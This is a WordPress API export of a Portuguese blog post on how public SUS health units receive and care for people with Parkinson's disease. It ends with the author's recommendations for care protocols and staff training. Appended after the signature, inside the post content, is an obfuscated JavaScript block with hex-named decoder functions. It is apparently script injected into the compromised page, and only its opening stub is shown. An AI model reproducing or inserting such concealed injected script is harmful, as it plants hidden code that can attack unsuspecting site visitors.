\u00e9 muitas vezes avaliada negativamente por conta de atendimentos feitos sem o tempo necess\u00e1rio para uma anamnese adequada, por respostas vagas, por orienta\u00e7\u00f5es erradas e muitas vezes incompletas e o mais impactante, pela vis\u00edvel falta de preparo de alguns colaboradores da Unidade de Sa\u00fade para lidar com pessoas. Isso mesmo: n\u00e3o est\u00e3o preparados para lidar com pessoas.<\/p>\n\n\n\n<p>Resumidamente o escopo de processos do acolhimento compreende:<\/p>\n\n\n\n<ol class=\"wp-block-list\" type=\"1\">\n<li>Acesso \u00e0 Unidade de Sa\u00fade;<\/li>\n\n\n\n<li>Recep\u00e7\u00e3o e identifica\u00e7\u00e3o;<\/li>\n\n\n\n<li>Encaminhamento para o setor respons\u00e1vel pela resolutividade da necessidade do cliente, considerando o cuidado multiprofissional;<\/li>\n\n\n\n<li>Espera;<\/li>\n\n\n\n<li>Consulta, exame ou outros procedimentos;<\/li>\n\n\n\n<li>Finaliza\u00e7\u00e3o do atendimento, orienta\u00e7\u00f5es gerais e espec\u00edficas e agenda dos pr\u00f3ximos compromissos.<\/li>\n<\/ol>\n\n\n\n<h4 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Conclusoes\"><\/span>Conclus\u00f5es<span class=\"ez-toc-section-end\"><\/span><\/h4>\n\n\n\n<p>Diante do exposto podemos concluir que, como prioridades para o processo de institucionaliza\u00e7\u00e3o da oferta de cuidados multi ou interprofissionais, deve-se:<\/p>\n\n\n\n<ol class=\"wp-block-list\" type=\"1\">\n<li><strong>Desenvolver <\/strong><strong>padr\u00f5es t\u00e9cnicos relativos \u00e0 organiza\u00e7\u00e3o e orienta\u00e7\u00e3o da oferta de cuidados multi ou interprofissionais;<\/strong><strong><\/strong><\/li>\n\n\n\n<li><strong>Complementar o documento <\/strong><strong>\u201cPCDT &#8211; Protocolo Cl\u00ednico e Diretrizes Terap\u00eauticas da Doen\u00e7a de Parkinson\u201d;<\/strong><strong><\/strong><\/li>\n\n\n\n<li><strong>Desenvolver e aplicar um protocolo de apoio psicol\u00f3gico para PcP que receberam o diagn\u00f3stico da DP (sinergia com as equipes do Sa\u00fade da Fam\u00edlia);<\/strong><\/li>\n\n\n\n<li><strong>Capacitar e orientar os profissionais, pr\u00f3prios e terceirizados, sobre boas pr\u00e1ticas de acolhimento.<\/strong><\/li>\n<\/ol>\n\n\n\n<p>Como a\u00e7\u00f5es complementares temos:<\/p>\n\n\n\n<ol class=\"wp-block-list\" type=\"1\">\n<li><strong>Desenvolver um programa de comunica\u00e7\u00e3o com informa\u00e7\u00f5es b\u00e1sicas sobre Parkinson para a rede de aten\u00e7\u00e3o b\u00e1sica do SUS;<\/strong><\/li>\n\n\n\n<li><strong>Definir no \u00e2mbito da a\u00e7\u00e3o anterior, um TER sobre o compromisso das PcP com sua corresponsabilidade no tratamento;<\/strong><\/li>\n\n\n\n<li><strong>Definir uma diretriz que estabele\u00e7a um perfil de compet\u00eancias relacionais a ser exigido para profissionais da \u201clinha de frente\u201d do atendimento;<\/strong><\/li>\n\n\n\n<li><strong>Apoiar o associativismo para cobrarmos a elabora\u00e7\u00e3o e o cumprimento das pol\u00edticas e diretrizes da sa\u00fade para a DP.<\/strong><\/li>\n<\/ol>\n\n\n\n<p><strong>Marcus Fonseca<\/strong><\/p>\n\n\n\n<p><strong>Novembro de 2022<\/strong><\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return 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Seu objetivo, junto com os demais textos dispon\u00edveis no website tenhoparkinson.com.br \u00e9, por meio de uma abordagem introdut\u00f3ria de temas pouco discutidos entre n\u00f3s, contribuir para que possamos entender com [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[19],"tags":[51,59,35],"class_list":["post-230","post","type-post","status-publish","format-standard","hentry","category-opiniao","tag-acolhimento","tag-cuidado-multiprofissional","tag-doenca-de-parkinson"],"_links":{"self":[{"href":"https:\/\/www.tenhoparkinson.com.br\/index.php?rest_route=\/wp\/v2\/posts\/230","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.tenhoparkinson.com.br\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.tenhoparkinson.com.br\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.tenhoparkinson.com.br\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.tenhoparkinson.com.br\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=230"}],"version-history":[{"count":2,"href":"https:\/\/www.tenhoparkinson.com.br\/index.php?rest_route=\/wp\/v2\/posts\/230\/revisions"}],"predecessor-version":[{"id":233,"href":"https:\/\/www.tenhoparkinson.com.br\/index.php?rest_route=\/wp\/v2\/posts\/230\/revisions\/233"}],"wp:attachment":[{"href":"https:\/\/www.tenhoparkinson.com.br\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=230"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.tenhoparkinson.com.br\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=230"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.tenhoparkinson.com.br\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=230"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}